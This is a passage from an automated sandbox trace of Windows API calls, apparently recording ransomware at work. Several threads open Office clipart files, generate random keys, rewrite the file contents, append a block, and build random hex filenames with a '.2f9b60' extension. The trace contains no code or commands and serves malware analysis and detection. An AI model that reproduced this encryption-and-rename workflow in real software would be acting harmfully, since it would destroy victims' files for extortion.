| out: Seed=0x25c7f870) returned 0x260a121b [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x338d3130 [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x6ff7a361 [0149.954] RtlRandomEx (in: Seed=0x25c7f870 | out: Seed=0x25c7f870) returned 0x77181819 [0149.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d30 [0149.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a9b0 [0149.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d60 [0149.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a9b0) returned 1 [0149.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d00) returned 1 [0149.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0149.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a9b0 [0149.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423d3da0 [0149.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423d79b0 [0149.962] ReadFile (in: hFile=0x21a4, lpBuffer=0x423d3da0, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x25c7f870, lpOverlapped=0x0 | out: lpBuffer=0x423d3da0*, lpNumberOfBytesRead=0x25c7f870*=0xed4, lpOverlapped=0x0) returned 1 [0149.962] SetFilePointerEx (in: hFile=0x21a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.962] WriteFile (in: hFile=0x21a4, lpBuffer=0x423d79b0*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x25c7f874, lpOverlapped=0x0 | out: lpBuffer=0x423d79b0*, lpNumberOfBytesWritten=0x25c7f874*=0xed4, lpOverlapped=0x0) returned 1 [0161.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a65f0 [0161.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6620 [0161.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6620) returned 1 [0161.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d79b0) returned 1 [0161.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d3da0) returned 1 [0161.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a9b0) returned 1 [0161.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0161.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6620 [0161.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059100 [0161.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a9b0 [0161.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6650 [0161.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6650) returned 1 [0161.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6650 [0161.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6680 [0161.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a66b0 [0161.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a66b0) returned 1 [0161.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a9b0) returned 1 [0161.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059100) returned 1 [0161.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad070 [0161.935] SetFilePointerEx (in: hFile=0x21a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.935] WriteFile (in: hFile=0x21a4, lpBuffer=0x423ad070*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25c7f990, lpOverlapped=0x0 | out: lpBuffer=0x423ad070*, lpNumberOfBytesWritten=0x25c7f990*=0x10a, lpOverlapped=0x0) returned 1 [0163.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b20 [0163.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b20) returned 1 [0163.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0163.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3b20 [0163.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3af0 [0163.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3af0) returned 1 [0163.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.855] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="cf") returned 2 [0163.855] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.855] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="fc") returned 2 [0163.855] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.855] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="4f") returned 2 [0163.855] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="49") returned 2 [0163.855] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="25") returned 2 [0163.855] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="c3") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="30") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="86") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="48") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="8d") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="89") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="36") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="ec") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="7b") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="08") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="6a") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="19") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.856] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="9b") returned 2 [0163.856] RtlInitAnsiString (in: DestinationString=0x25c7fa08, SourceString="cfb8fc9f4f4925c33086a8dc488d8936ec7b086ae3192a9b" | out: DestinationString="cfb8fc9f4f4925c33086a8dc488d8936ec7b086ae3192a9b") [0163.856] RtlAnsiStringToUnicodeString (in: DestinationString=0x25c7f9d8, SourceString="cfb8fc9f4f4925c33086a8dc488d8936ec7b086ae3192a9b", AllocateDestinationString=1 | out: DestinationString="cfb8fc9f4f4925c33086a8dc488d8936ec7b086ae3192a9b") returned 0x0 [0163.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8582f0 [0163.856] RtlFreeAnsiString (AnsiString="c") [0163.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3b20) returned 1 [0163.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad070) returned 1 [0163.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6650) returned 1 [0163.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6680) returned 1 [0163.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6620) returned 1 [0163.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a65f0) returned 1 [0163.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c70) returned 1 [0163.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d30) returned 1 [0163.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d60) returned 1 [0163.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d9c0 [0163.859] wcscat (in: _Dest=0x4230d9c0, _Source="cfb8fc9f4f49" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cfb8fc9f4f49") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cfb8fc9f4f49" [0163.859] wcscat (in: _Dest=0x4230d9c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cfb8fc9f4f49.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cfb8fc9f4f49.2f9b60" [0163.859] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cfb8fc9f4f49.2f9b60", NtPathName=0x25c7f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cfb8fc9f4f49.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a2d0 Thread: id = 2355 os_tid = 0x1d30 [0149.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0149.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF", dwFileAttributes=0x20) returned 1 [0149.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x21a8 [0149.966] GetFileSizeEx (in: hFile=0x21a8, lpFileSize=0x2832f980 | out: lpFileSize=0x2832f980*=2024) returned 1 [0149.966] SetFilePointerEx (in: hFile=0x21a8, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.966] ReadFile (in: hFile=0x21a8, lpBuffer=0x2832f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2832f948, lpOverlapped=0x0 | out: lpBuffer=0x2832f900*, lpNumberOfBytesRead=0x2832f948*=0x4, lpOverlapped=0x0) returned 1 [0149.967] SetFilePointerEx (in: hFile=0x21a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d00 [0149.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d90 [0149.968] NtQuerySystemTime (in: CurrentTime=0x2832f840 | out: CurrentTime=0x2832f840*=132462177551806000) returned 0x0 [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x3ec58553 [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x2f08ba03 [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x2be8e3ae [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x6f796697 [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x356acbdb [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x269cfde2 [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x149b5803 [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x7b739c8f [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0xd12b009 [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x7a56843c [0149.968] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x781c680 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x45a44e76 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x7365e861 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x699ffd81 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x4b58efe8 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x451ba462 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x64df2eb4 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x53fc52e6 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x5eb15665 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x217f1bc9 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x534ab9d8 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x74720537 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x6f771921 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x7ebe664a [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x440aac97 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x18422b8c [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x343917d3 [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x2246d32f [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x79b0668b [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x684eb70d [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x3cac160a [0149.969] RtlRandomEx (in: Seed=0x2832f830 | out: Seed=0x2832f830) returned 0x3f3e0f [0149.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3dc0 [0149.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aa30 [0149.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3df0 [0149.978] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aa30) returned 1 [0149.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d90) returned 1 [0149.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059fb0 [0149.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aa30 [0149.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423db5c0 [0149.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423df1d0 [0149.979] ReadFile (in: hFile=0x21a8, lpBuffer=0x423db5c0, nNumberOfBytesToRead=0x7e8, lpNumberOfBytesRead=0x2832f830, lpOverlapped=0x0 | out: lpBuffer=0x423db5c0*, lpNumberOfBytesRead=0x2832f830*=0x7e8, lpOverlapped=0x0) returned 1 [0149.979] SetFilePointerEx (in: hFile=0x21a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.980] WriteFile (in: hFile=0x21a8, lpBuffer=0x423df1d0*, nNumberOfBytesToWrite=0x7e8, lpNumberOfBytesWritten=0x2832f834, lpOverlapped=0x0 | out: lpBuffer=0x423df1d0*, lpNumberOfBytesWritten=0x2832f834*=0x7e8, lpOverlapped=0x0) returned 1 [0162.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6dd0 [0162.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6e00 [0162.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6e00) returned 1 [0162.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423df1d0) returned 1 [0162.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423db5c0) returned 1 [0162.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aa30) returned 1 [0162.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0162.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6e00 [0162.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059fb0 [0162.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aa30 [0162.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6e30 [0162.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6e30) returned 1 [0162.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6e30 [0162.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6e60 [0162.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6e90 [0162.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6e90) returned 1 [0162.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aa30) returned 1 [0162.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059fb0) returned 1 [0162.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ad610 [0162.009] SetFilePointerEx (in: hFile=0x21a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.009] WriteFile (in: hFile=0x21a8, lpBuffer=0x423ad610*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2832f950, lpOverlapped=0x0 | out: lpBuffer=0x423ad610*, lpNumberOfBytesWritten=0x2832f950*=0x10a, lpOverlapped=0x0) returned 1 [0163.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053fa0 [0163.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053fa0) returned 1 [0163.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d080 [0163.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053fa0 [0163.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053f70 [0163.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053f70) returned 1 [0163.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.963] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="01") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="b2") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="40") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="9f") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="14") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="56") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="0c") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="da") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="c1") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="c4") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="04") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="b6") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.963] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="cc") returned 2 [0163.964] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="12") returned 2 [0163.964] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="af") returned 2 [0163.964] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="18") returned 2 [0163.964] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="7a") returned 2 [0163.964] RtlInitAnsiString (in: DestinationString=0x2832f9c8, SourceString="0b01dcedbab240e39f1456ba0cdac1c404b69acc12af187a" | out: DestinationString="0b01dcedbab240e39f1456ba0cdac1c404b69acc12af187a") [0163.964] RtlAnsiStringToUnicodeString (in: DestinationString=0x2832f998, SourceString="0b01dcedbab240e39f1456ba0cdac1c404b69acc12af187a", AllocateDestinationString=1 | out: DestinationString="0b01dcedbab240e39f1456ba0cdac1c404b69acc12af187a") returned 0x0 [0163.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x203fa4a0 [0163.964] RtlFreeAnsiString (AnsiString="0") [0163.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053fa0) returned 1 [0163.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad610) returned 1 [0163.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6e30) returned 1 [0163.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6e60) returned 1 [0163.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6e00) returned 1 [0163.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6dd0) returned 1 [0163.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3d00) returned 1 [0163.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3dc0) returned 1 [0163.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3df0) returned 1 [0163.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230e000 [0163.967] wcscat (in: _Dest=0x4230e000, _Source="0b01dcedbab2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0b01dcedbab2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0b01dcedbab2" [0163.967] wcscat (in: _Dest=0x4230e000, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0b01dcedbab2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0b01dcedbab2.2f9b60" [0163.967] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0b01dcedbab2.2f9b60", NtPathName=0x2832f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0b01dcedbab2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2aa50 Thread: id = 2356 os_tid = 0x1d34 [0149.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0149.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF", dwFileAttributes=0x20) returned 1 [0149.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 